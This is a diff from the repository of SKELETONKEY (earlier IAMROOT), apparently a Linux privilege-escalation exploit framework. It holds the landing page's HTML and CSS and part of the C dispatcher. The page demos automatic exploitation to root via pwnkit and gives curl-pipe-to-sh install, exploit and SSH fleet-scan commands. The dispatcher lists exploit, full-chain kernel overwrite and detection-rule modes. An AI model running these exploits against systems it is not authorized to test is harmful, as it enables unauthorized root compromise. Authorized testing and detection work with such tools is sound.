<p>Auditd + sigma + yara + falco rules for every CVE. One command ships SIEM coverage: <code>--detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules</code>.</p>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<h3>🛠 Sysadmins</h3>
|
||||||
|
<p><code>skeletonkey --scan</code> (no sudo needed) tells you which boxes still need patching. JSON output for CI gates. Fleet-scan tool included. No SaaS, no telemetry.</p>
|
||||||
|
</div>
|
||||||
|
<div class="card">
|
||||||
|
<h3>🎓 CTF / training</h3>
|
||||||
|
<p>Reproducible LPE environment with public CVEs across a 10-year timeline. Each module documents the bug, the trigger, and the fix. Detection rules let you practice both sides.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>What it looks like</h2>
|
||||||
|
<p class="lead"><code>--auto</code> on a vulnerable Ubuntu 22.04 box:</p>
|
||||||
|
|
||||||
|
<pre class="code"><span class="prompt">$</span> id
|
||||||
|
uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
||||||
|
|
||||||
|
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||||
|
<span class="hl-muted">[*]</span> auto: host=demo kernel=5.15.0-56-generic arch=x86_64
|
||||||
|
<span class="hl-muted">[*]</span> auto: scanning 31 modules for vulnerabilities...
|
||||||
|
<span class="hl-green">[+]</span> auto: dirty_pipe <span class="hl-yellow">VULNERABLE</span> (safety rank 90)
|
||||||
|
<span class="hl-green">[+]</span> auto: cgroup_release_agent <span class="hl-yellow">VULNERABLE</span> (safety rank 98)
|
||||||
|
<span class="hl-green">[+]</span> auto: pwnkit <span class="hl-yellow">VULNERABLE</span> (safety rank 100)
|
||||||
|
|
||||||
|
<span class="hl-muted">[*]</span> auto: 3 vulnerable modules found. Safest is <span class="hl-accent">'pwnkit'</span> (rank 100).
|
||||||
|
<span class="hl-muted">[*]</span> auto: launching --exploit pwnkit...
|
||||||
|
|
||||||
|
<span class="hl-green">[+]</span> pwnkit: writing gconv-modules cache + payload.so...
|
||||||
|
<span class="hl-green">[+]</span> pwnkit: execve(pkexec) with NULL argv + crafted envp...
|
||||||
|
<span class="hl-green">#</span> id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root)</pre>
|
||||||
|
|
||||||
|
<p style="color: var(--text-muted); font-size: 0.92rem; margin-top: 1rem">
|
||||||
|
Safety ranking goes <strong>structural escapes</strong> →
|
||||||
|
<strong>page-cache writes</strong> →
|
||||||
|
<strong>userspace cred-races</strong> →
|
||||||
|
<strong>kernel primitives</strong> →
|
||||||
|
<strong>kernel races</strong>. The goal is to never crash a
|
||||||
|
production box looking for root.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>The verified-vs-claimed bar</h2>
|
||||||
|
<p class="lead">
|
||||||
|
Most public PoC repos hardcode offsets for one kernel build and
|
||||||
|
silently break elsewhere. SKELETONKEY refuses to ship fabricated
|
||||||
|
offsets.
|
||||||
|
</p>
|
||||||
|
<ul class="tight">
|
||||||
|
<li>The shared <code>--full-chain</code> finisher returns <code>EXPLOIT_OK</code> only when a setuid bash sentinel file <em>actually appears</em></li>
|
||||||
|
<li>Modules with a primitive but no portable cred-overwrite chain default to firing the primitive + grooming the slab + recording a witness, then return <code>EXPLOIT_FAIL</code> with diagnostic</li>
|
||||||
|
<li>Operators populate the offset table once per kernel via <code>skeletonkey --dump-offsets</code> (parses <code>/proc/kallsyms</code> or <code>/boot/System.map</code>) and upstream the entry via PR — see <a href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">CONTRIBUTING.md</a></li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Quickstart commands</h2>
|
||||||
|
|
||||||
|
<pre class="code"><span class="cmt"># Install (x86_64 / arm64; checksum-verified)</span>
|
||||||
|
<span class="prompt">$</span> curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh
|
||||||
|
|
||||||
|
<span class="cmt"># What's this box vulnerable to? (no sudo)</span>
|
||||||
|
<span class="prompt">$</span> skeletonkey --scan
|
||||||
|
|
||||||
|
<span class="cmt"># Pick the safest LPE and run it</span>
|
||||||
|
<span class="prompt">$</span> skeletonkey --auto --i-know
|
||||||
|
|
||||||
|
<span class="cmt"># Deploy detection rules (needs sudo to write into /etc/audit/rules.d/)</span>
|
||||||
|
<span class="prompt">$</span> skeletonkey --detect-rules --format=auditd \
|
||||||
|
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
<span class="cmt"># Fleet scan — many hosts via SSH, aggregated JSON for SIEM</span>
|
||||||
|
<span class="prompt">$</span> ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \
|
||||||
|
--ssh-key ~/.ssh/id_rsa hosts.txt</pre>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<section>
|
||||||
|
<div class="container">
|
||||||
|
<h2>Status</h2>
|
||||||
|
<p class="lead">
|
||||||
|
<strong>v0.5.0</strong> cut 2026-05-17. 28 verified modules build
|
||||||
|
clean on Debian 13 (kernel 6.12) and refuse cleanly on patched
|
||||||
|
hosts; 3 further modules (dirtydecrypt, fragnesia, pack2theroot)
|
||||||
|
are ported from public PoCs but not yet VM-verified.
|
||||||
|
Empirical end-to-end validation on a vulnerable-kernel VM matrix
|
||||||
|
is the next roadmap item; until then, the corpus is best
|
||||||
|
understood as "compiles + detects + structurally correct +
|
||||||
|
honest on failure."
|
||||||
|
</p>
|
||||||
|
<p style="margin-top:1rem">
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/ROADMAP.md">Read the roadmap</a>
|
||||||
|
<a class="btn" href="https://github.com/KaraZajac/SKELETONKEY/blob/main/CONTRIBUTING.md">How to contribute</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</section>
|
||||||
|
|
||||||
|
<footer>
|
||||||
|
<div class="container">
|
||||||
|
<p>
|
||||||
|
Each module credits the original CVE reporter and PoC author in its
|
||||||
|
<code>NOTICE.md</code>. The research credit belongs to the people
|
||||||
|
who found the bugs.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
MIT licensed ·
|
||||||
|
<a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
</footer>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function copyInstall(btn) {
|
||||||
|
var cmd = document.getElementById('install-cmd').innerText.replace(/^\$\s*/, '');
|
||||||
|
navigator.clipboard.writeText(cmd).then(function() {
|
||||||
|
btn.textContent = 'copied!';
|
||||||
|
btn.classList.add('copied');
|
||||||
|
setTimeout(function() {
|
||||||
|
btn.textContent = 'copy';
|
||||||
|
btn.classList.remove('copied');
|
||||||
|
}, 1500);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
+309
@@ -0,0 +1,309 @@
|
|||||||
|
/* SKELETONKEY — landing page styles */
|
||||||
|
|
||||||
|
* { box-sizing: border-box; }
|
||||||
|
|
||||||
|
:root {
|
||||||
|
--bg: #0d1117;
|
||||||
|
--bg-elevated: #161b22;
|
||||||
|
--border: #30363d;
|
||||||
|
--text: #c9d1d9;
|
||||||
|
--text-muted: #8b949e;
|
||||||
|
--text-dim: #6e7681;
|
||||||
|
--accent: #58a6ff;
|
||||||
|
--green: #3fb950;
|
||||||
|
--yellow: #d29922;
|
||||||
|
--red: #f85149;
|
||||||
|
--mono: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas,
|
||||||
|
"Liberation Mono", monospace;
|
||||||
|
--sans: -apple-system, BlinkMacSystemFont, "Segoe UI", "Helvetica Neue",
|
||||||
|
Arial, sans-serif;
|
||||||
|
}
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
background: var(--bg);
|
||||||
|
color: var(--text);
|
||||||
|
font-family: var(--sans);
|
||||||
|
font-size: 16px;
|
||||||
|
line-height: 1.6;
|
||||||
|
-webkit-font-smoothing: antialiased;
|
||||||
|
}
|
||||||
|
|
||||||
|
a { color: var(--accent); text-decoration: none; }
|
||||||
|
a:hover { text-decoration: underline; }
|
||||||
|
|
||||||
|
code, pre {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 0.92em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 920px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 2rem 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Top nav */
|
||||||
|
.nav {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 1rem 1.5rem;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
position: sticky;
|
||||||
|
top: 0;
|
||||||
|
background: rgba(13, 17, 23, 0.92);
|
||||||
|
backdrop-filter: blur(6px);
|
||||||
|
-webkit-backdrop-filter: blur(6px);
|
||||||
|
z-index: 10;
|
||||||
|
}
|
||||||
|
.nav-brand {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
.nav-github {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.45rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.95rem;
|
||||||
|
padding: 0.35rem 0.7rem;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
transition: all 0.15s ease;
|
||||||
|
}
|
||||||
|
.nav-github:hover {
|
||||||
|
color: var(--text);
|
||||||
|
border-color: var(--text-muted);
|
||||||
|
text-decoration: none;
|
||||||
|
}
|
||||||
|
.nav-github svg { display: block; }
|
||||||
|
|
||||||
|
/* Hero */
|
||||||
|
.hero {
|
||||||
|
text-align: center;
|
||||||
|
padding: 4rem 0 3rem;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
.hero h1 {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 2.5rem;
|
||||||
|
letter-spacing: 0.05em;
|
||||||
|
margin: 0 0 1rem;
|
||||||
|
font-weight: 800;
|
||||||
|
}
|
||||||
|
.hero .tag {
|
||||||
|
font-size: 1.2rem;
|
||||||
|
color: var(--text-muted);
|
||||||
|
margin: 0 auto 2rem;
|
||||||
|
max-width: 640px;
|
||||||
|
}
|
||||||
|
.hero .tag strong { color: var(--text); }
|
||||||
|
|
||||||
|
.install-block {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1rem 1.25rem;
|
||||||
|
margin: 0 auto 1.5rem;
|
||||||
|
max-width: 760px;
|
||||||
|
text-align: left;
|
||||||
|
position: relative;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
.install-block pre {
|
||||||
|
margin: 0;
|
||||||
|
color: var(--text);
|
||||||
|
white-space: pre;
|
||||||
|
}
|
||||||
|
.install-block .prompt { color: var(--green); user-select: none; }
|
||||||
|
.install-block .copy {
|
||||||
|
position: absolute;
|
||||||
|
top: 0.6rem;
|
||||||
|
right: 0.6rem;
|
||||||
|
background: transparent;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 0.78rem;
|
||||||
|
padding: 0.25rem 0.5rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.15s ease;
|
||||||
|
}
|
||||||
|
.install-block .copy:hover { color: var(--text); border-color: var(--text-muted); }
|
||||||
|
.install-block .copy.copied { color: var(--green); border-color: var(--green); }
|
||||||
|
|
||||||
|
.warn {
|
||||||
|
display: inline-block;
|
||||||
|
margin-top: 0.5rem;
|
||||||
|
padding: 0.4rem 0.8rem;
|
||||||
|
background: rgba(248, 81, 73, 0.08);
|
||||||
|
border: 1px solid rgba(248, 81, 73, 0.4);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: var(--red);
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.cta-row {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.75rem;
|
||||||
|
justify-content: center;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
margin-top: 2rem;
|
||||||
|
}
|
||||||
|
.btn {
|
||||||
|
display: inline-block;
|
||||||
|
padding: 0.65rem 1.25rem;
|
||||||
|
border-radius: 6px;
|
||||||
|
font-size: 0.95rem;
|
||||||
|
font-weight: 500;
|
||||||
|
transition: all 0.15s ease;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
.btn:hover { background: var(--bg-elevated); text-decoration: none; }
|
||||||
|
.btn-primary {
|
||||||
|
background: var(--accent);
|
||||||
|
border-color: var(--accent);
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
.btn-primary:hover { background: #1f6feb; }
|
||||||
|
|
||||||
|
/* Sections */
|
||||||
|
section { padding: 3rem 0; border-bottom: 1px solid var(--border); }
|
||||||
|
section h2 {
|
||||||
|
font-size: 1.6rem;
|
||||||
|
margin: 0 0 1.5rem;
|
||||||
|
letter-spacing: -0.01em;
|
||||||
|
}
|
||||||
|
section h3 {
|
||||||
|
font-size: 1.1rem;
|
||||||
|
margin: 1.5rem 0 0.75rem;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
|
||||||
|
.lead { color: var(--text-muted); font-size: 1.05rem; max-width: 720px; }
|
||||||
|
|
||||||
|
/* Stats */
|
||||||
|
.stats {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(4, 1fr);
|
||||||
|
gap: 1rem;
|
||||||
|
margin: 1.5rem 0;
|
||||||
|
}
|
||||||
|
.stat {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1.25rem;
|
||||||
|
text-align: center;
|
||||||
|
}
|
||||||
|
.stat-num {
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 2rem;
|
||||||
|
font-weight: 700;
|
||||||
|
display: block;
|
||||||
|
}
|
||||||
|
.stat-num.green { color: var(--green); }
|
||||||
|
.stat-num.yellow { color: var(--yellow); }
|
||||||
|
.stat-label { color: var(--text-muted); font-size: 0.85rem; }
|
||||||
|
@media (max-width: 600px) {
|
||||||
|
.stats { grid-template-columns: repeat(2, 1fr); }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Audience cards */
|
||||||
|
.cards {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(2, 1fr);
|
||||||
|
gap: 1rem;
|
||||||
|
}
|
||||||
|
.card {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1.25rem;
|
||||||
|
}
|
||||||
|
.card h3 { margin-top: 0; color: var(--text); }
|
||||||
|
.card p { margin: 0.5rem 0 0; color: var(--text-muted); font-size: 0.95rem; }
|
||||||
|
@media (max-width: 600px) {
|
||||||
|
.cards { grid-template-columns: 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Module pills */
|
||||||
|
.pills {
|
||||||
|
display: flex;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
gap: 0.4rem;
|
||||||
|
margin: 0.75rem 0 1.5rem;
|
||||||
|
}
|
||||||
|
.pill {
|
||||||
|
display: inline-block;
|
||||||
|
font-family: var(--mono);
|
||||||
|
font-size: 0.82rem;
|
||||||
|
padding: 0.2rem 0.55rem;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
.pill.green { border-color: rgba(63, 185, 80, 0.4); color: var(--green); }
|
||||||
|
.pill.yellow { border-color: rgba(210, 153, 34, 0.4); color: var(--yellow); }
|
||||||
|
|
||||||
|
/* Code block */
|
||||||
|
pre.code {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 1rem 1.25rem;
|
||||||
|
overflow-x: auto;
|
||||||
|
font-size: 0.88rem;
|
||||||
|
line-height: 1.55;
|
||||||
|
color: var(--text);
|
||||||
|
}
|
||||||
|
pre.code .cmt { color: var(--text-dim); }
|
||||||
|
pre.code .prompt { color: var(--green); user-select: none; }
|
||||||
|
pre.code .hl-green { color: var(--green); }
|
||||||
|
pre.code .hl-yellow { color: var(--yellow); }
|
||||||
|
pre.code .hl-muted { color: var(--text-muted); }
|
||||||
|
pre.code .hl-accent { color: var(--accent); }
|
||||||
|
|
||||||
|
/* Inline code */
|
||||||
|
:not(pre) > code {
|
||||||
|
background: var(--bg-elevated);
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 3px;
|
||||||
|
padding: 0.1rem 0.35rem;
|
||||||
|
font-size: 0.88em;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Footer */
|
||||||
|
footer {
|
||||||
|
padding: 2.5rem 0;
|
||||||
|
text-align: center;
|
||||||
|
color: var(--text-muted);
|
||||||
|
font-size: 0.9rem;
|
||||||
|
}
|
||||||
|
footer a { color: var(--text-muted); }
|
||||||
|
|
||||||
|
/* Subtle list styling */
|
||||||
|
ul.tight { list-style: none; padding: 0; }
|
||||||
|
ul.tight li {
|
||||||
|
padding: 0.3rem 0;
|
||||||
|
color: var(--text-muted);
|
||||||
|
}
|
||||||
|
ul.tight li::before {
|
||||||
|
content: "›";
|
||||||
|
color: var(--accent);
|
||||||
|
margin-right: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 600px) {
|
||||||
|
.hero h1 { font-size: 1.9rem; }
|
||||||
|
.hero .tag { font-size: 1rem; }
|
||||||
|
section h2 { font-size: 1.35rem; }
|
||||||
|
.container { padding: 1.5rem 1rem; }
|
||||||
|
}
|
||||||
@@ -1,691 +0,0 @@
|
|||||||
/*
|
|
||||||
* IAMROOT — top-level dispatcher
|
|
||||||
*
|
|
||||||
* Usage:
|
|
||||||
* iamroot --scan # run every module's detect()
|
|
||||||
* iamroot --scan --json # machine-readable output
|
|
||||||
* iamroot --scan --active # invasive probes (still no /etc/passwd writes)
|
|
||||||
* iamroot --list # list registered modules
|
|
||||||
* iamroot --exploit <name> --i-know # run a named module's exploit
|
|
||||||
* iamroot --mitigate <name> # apply a temporary mitigation
|
|
||||||
* iamroot --cleanup <name> # undo --exploit or --mitigate side effects
|
|
||||||
*
|
|
||||||
* Phase 1 scope: thin dispatcher over the copy_fail_family bridge.
|
|
||||||
* Future phases add: --detect-rules export, multi-family registry,
|
|
||||||
* fingerprint pre-pass, etc.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include "core/module.h"
|
|
||||||
#include "core/registry.h"
|
|
||||||
|
|
||||||
#include <getopt.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
#define IAMROOT_VERSION "0.2.0"
|
|
||||||
|
|
||||||
static const char BANNER[] =
|
|
||||||
"\n"
|
|
||||||
" ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗\n"
|
|
||||||
" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n"
|
|
||||||
" ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ \n"
|
|
||||||
" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ \n"
|
|
||||||
" ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ \n"
|
|
||||||
" ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ \n"
|
|
||||||
" Curated Linux kernel LPE corpus — v" IAMROOT_VERSION "\n"
|
|
||||||
" AUTHORIZED TESTING ONLY — see docs/ETHICS.md\n";
|
|
||||||
|
|
||||||
static void usage(const char *prog)
|
|
||||||
{
|
|
||||||
fprintf(stderr,
|
|
||||||
"Usage: %s [MODE] [OPTIONS]\n"
|
|
||||||
"\n"
|
|
||||||
"Modes (default: --scan):\n"
|
|
||||||
" --scan run every module's detect() across the host\n"
|
|
||||||
" --list list registered modules and exit\n"
|
|
||||||
" --exploit <name> run named module's exploit (REQUIRES --i-know)\n"
|
|
||||||
" --mitigate <name> apply named module's mitigation\n"
|
|
||||||
" --cleanup <name> undo named module's exploit/mitigate side effects\n"
|
|
||||||
" --detect-rules dump detection rules for every module\n"
|
|
||||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
|
||||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
|
||||||
" (combine with --json for machine-readable output)\n"
|
|
||||||
" --audit system-hygiene scan: setuid binaries, world-writable\n"
|
|
||||||
" files in /etc, file capabilities, sudo NOPASSWD\n"
|
|
||||||
" (complements --scan; answers 'is this box\n"
|
|
||||||
" generally privesc-exposed?')\n"
|
|
||||||
" --version print version\n"
|
|
||||||
" --help this message\n"
|
|
||||||
"\n"
|
|
||||||
"Options:\n"
|
|
||||||
" --i-know authorization gate for --exploit modes\n"
|
|
||||||
" --active in --scan, do invasive sentinel probes (no /etc/passwd writes)\n"
|
|
||||||
" --no-shell in --exploit modes, prepare but don't drop to shell\n"
|
|
||||||
" --full-chain in --exploit modes, attempt full root-pop after primitive\n"
|
|
||||||
" (the 🟡 modules return primitive-only by default; with\n"
|
|
||||||
" --full-chain they continue to leak → arb-write →\n"
|
|
||||||
" modprobe_path overwrite. Requires resolvable kernel\n"
|
|
||||||
" offsets — env vars, /proc/kallsyms, or /boot/System.map.\n"
|
|
||||||
" See docs/OFFSETS.md.)\n"
|
|
||||||
" --json machine-readable output (for SIEM/CI)\n"
|
|
||||||
" --no-color disable ANSI color codes\n"
|
|
||||||
" --format <f> with --detect-rules: auditd (default), sigma, yara, falco\n"
|
|
||||||
"\n"
|
|
||||||
"Exit codes:\n"
|
|
||||||
" 0 not vulnerable / OK 2 vulnerable 5 exploit succeeded\n"
|
|
||||||
" 1 test error 3 exploit failed 4 preconditions missing\n",
|
|
||||||
prog);
|
|
||||||
}
|
|
||||||
|
|
||||||
enum mode {
|
|
||||||
MODE_SCAN,
|
|
||||||
MODE_LIST,
|
|
||||||
MODE_EXPLOIT,
|
|
||||||
MODE_MITIGATE,
|
|
||||||
MODE_CLEANUP,
|
|
||||||
MODE_DETECT_RULES,
|
|
||||||
MODE_MODULE_INFO,
|
|
||||||
MODE_AUDIT,
|
|
||||||
MODE_HELP,
|
|
||||||
MODE_VERSION,
|
|
||||||
};
|
|
||||||
|
|
||||||
enum detect_format {
|
|
||||||
FMT_AUDITD,
|
|
||||||
FMT_SIGMA,
|
|
||||||
FMT_YARA,
|
|
||||||
FMT_FALCO,
|
|
||||||
};
|
|
||||||
|
|
||||||
static const char *result_str(iamroot_result_t r)
|
|
||||||
{
|
|
||||||
switch (r) {
|
|
||||||
case IAMROOT_OK: return "OK";
|
|
||||||
case IAMROOT_TEST_ERROR: return "ERROR";
|
|
||||||
case IAMROOT_VULNERABLE: return "VULNERABLE";
|
|
||||||
case IAMROOT_EXPLOIT_FAIL: return "EXPLOIT_FAIL";
|
|
||||||
case IAMROOT_PRECOND_FAIL: return "PRECOND_FAIL";
|
|
||||||
case IAMROOT_EXPLOIT_OK: return "EXPLOIT_OK";
|
|
||||||
}
|
|
||||||
return "?";
|
|
||||||
}
|
|
||||||
|
|
||||||
/* JSON-escape a string for inclusion in stdout output. Quick + safe:
|
|
||||||
* escapes \" and \\ and newlines; passes through ASCII printable.
|
|
||||||
* Caller must call json_escape_done() to free the result. */
|
|
||||||
static char *json_escape(const char *s)
|
|
||||||
{
|
|
||||||
if (s == NULL) return NULL;
|
|
||||||
size_t n = strlen(s);
|
|
||||||
char *out = malloc(n * 2 + 1); /* worst case: every char doubles */
|
|
||||||
if (!out) return NULL;
|
|
||||||
char *p = out;
|
|
||||||
for (size_t i = 0; i < n; i++) {
|
|
||||||
unsigned char c = (unsigned char)s[i];
|
|
||||||
if (c == '"' || c == '\\') { *p++ = '\\'; *p++ = c; }
|
|
||||||
else if (c == '\n') { *p++ = '\\'; *p++ = 'n'; }
|
|
||||||
else if (c == '\r') { *p++ = '\\'; *p++ = 'r'; }
|
|
||||||
else if (c == '\t') { *p++ = '\\'; *p++ = 't'; }
|
|
||||||
else if (c < 0x20) { /* skip — should be rare in our strings */ }
|
|
||||||
else *p++ = c;
|
|
||||||
}
|
|
||||||
*p = 0;
|
|
||||||
return out;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void emit_module_json(const struct iamroot_module *m, bool include_rules)
|
|
||||||
{
|
|
||||||
char *name = json_escape(m->name);
|
|
||||||
char *cve = json_escape(m->cve);
|
|
||||||
char *summary = json_escape(m->summary);
|
|
||||||
char *family = json_escape(m->family);
|
|
||||||
char *krange = json_escape(m->kernel_range);
|
|
||||||
fprintf(stdout,
|
|
||||||
"{\"name\":\"%s\",\"cve\":\"%s\",\"family\":\"%s\","
|
|
||||||
"\"kernel_range\":\"%s\",\"summary\":\"%s\","
|
|
||||||
"\"has\":{\"detect\":%s,\"exploit\":%s,\"mitigate\":%s,\"cleanup\":%s,"
|
|
||||||
"\"auditd\":%s,\"sigma\":%s,\"yara\":%s,\"falco\":%s}",
|
|
||||||
name ? name : "",
|
|
||||||
cve ? cve : "",
|
|
||||||
family ? family : "",
|
|
||||||
krange ? krange : "",
|
|
||||||
summary ? summary : "",
|
|
||||||
m->detect ? "true" : "false",
|
|
||||||
m->exploit ? "true" : "false",
|
|
||||||
m->mitigate ? "true" : "false",
|
|
||||||
m->cleanup ? "true" : "false",
|
|
||||||
m->detect_auditd ? "true" : "false",
|
|
||||||
m->detect_sigma ? "true" : "false",
|
|
||||||
m->detect_yara ? "true" : "false",
|
|
||||||
m->detect_falco ? "true" : "false");
|
|
||||||
if (include_rules) {
|
|
||||||
/* Embed the actual rule text. Useful for --module-info. */
|
|
||||||
char *aud = json_escape(m->detect_auditd);
|
|
||||||
char *sig = json_escape(m->detect_sigma);
|
|
||||||
char *yar = json_escape(m->detect_yara);
|
|
||||||
char *fal = json_escape(m->detect_falco);
|
|
||||||
fprintf(stdout,
|
|
||||||
",\"detect_rules\":{\"auditd\":%s%s%s,\"sigma\":%s%s%s,"
|
|
||||||
"\"yara\":%s%s%s,\"falco\":%s%s%s}",
|
|
||||||
aud ? "\"" : "", aud ? aud : "null", aud ? "\"" : "",
|
|
||||||
sig ? "\"" : "", sig ? sig : "null", sig ? "\"" : "",
|
|
||||||
yar ? "\"" : "", yar ? yar : "null", yar ? "\"" : "",
|
|
||||||
fal ? "\"" : "", fal ? fal : "null", fal ? "\"" : "");
|
|
||||||
free(aud); free(sig); free(yar); free(fal);
|
|
||||||
}
|
|
||||||
fprintf(stdout, "}");
|
|
||||||
free(name); free(cve); free(summary); free(family); free(krange);
|
|
||||||
}
|
|
||||||
|
|
||||||
static int cmd_list(const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
size_t n = iamroot_module_count();
|
|
||||||
if (ctx->json) {
|
|
||||||
fprintf(stdout, "{\"version\":\"%s\",\"modules\":[", IAMROOT_VERSION);
|
|
||||||
for (size_t i = 0; i < n; i++) {
|
|
||||||
if (i) fputc(',', stdout);
|
|
||||||
emit_module_json(iamroot_module_at(i), false);
|
|
||||||
}
|
|
||||||
fprintf(stdout, "]}\n");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
|
||||||
"NAME", "CVE", "FAMILY", "SUMMARY");
|
|
||||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
|
||||||
"----", "---", "------", "-------");
|
|
||||||
for (size_t i = 0; i < n; i++) {
|
|
||||||
const struct iamroot_module *m = iamroot_module_at(i);
|
|
||||||
fprintf(stdout, "%-20s %-18s %-25s %s\n",
|
|
||||||
m->name, m->cve, m->family, m->summary);
|
|
||||||
}
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* --audit: system-hygiene scan beyond per-CVE detect. Inventories
|
|
||||||
* setuid binaries, world-writable system files, capability-bound
|
|
||||||
* non-standard binaries, NOPASSWD sudo entries. Complements --scan;
|
|
||||||
* answers "is this box generally exposed to privesc?" beyond
|
|
||||||
* "does it have any of the known kernel CVEs?".
|
|
||||||
*
|
|
||||||
* Output is structured findings. --json switches to a single JSON
|
|
||||||
* object with arrays per category. Side-effect-free: read-only
|
|
||||||
* filesystem walks. */
|
|
||||||
struct finding {
|
|
||||||
const char *category; /* "setuid", "world_writable", "capability", "sudo" */
|
|
||||||
char path[512];
|
|
||||||
char note[256];
|
|
||||||
};
|
|
||||||
|
|
||||||
static void print_finding_human(const struct finding *f)
|
|
||||||
{
|
|
||||||
fprintf(stdout, "[%-15s] %-50s %s\n",
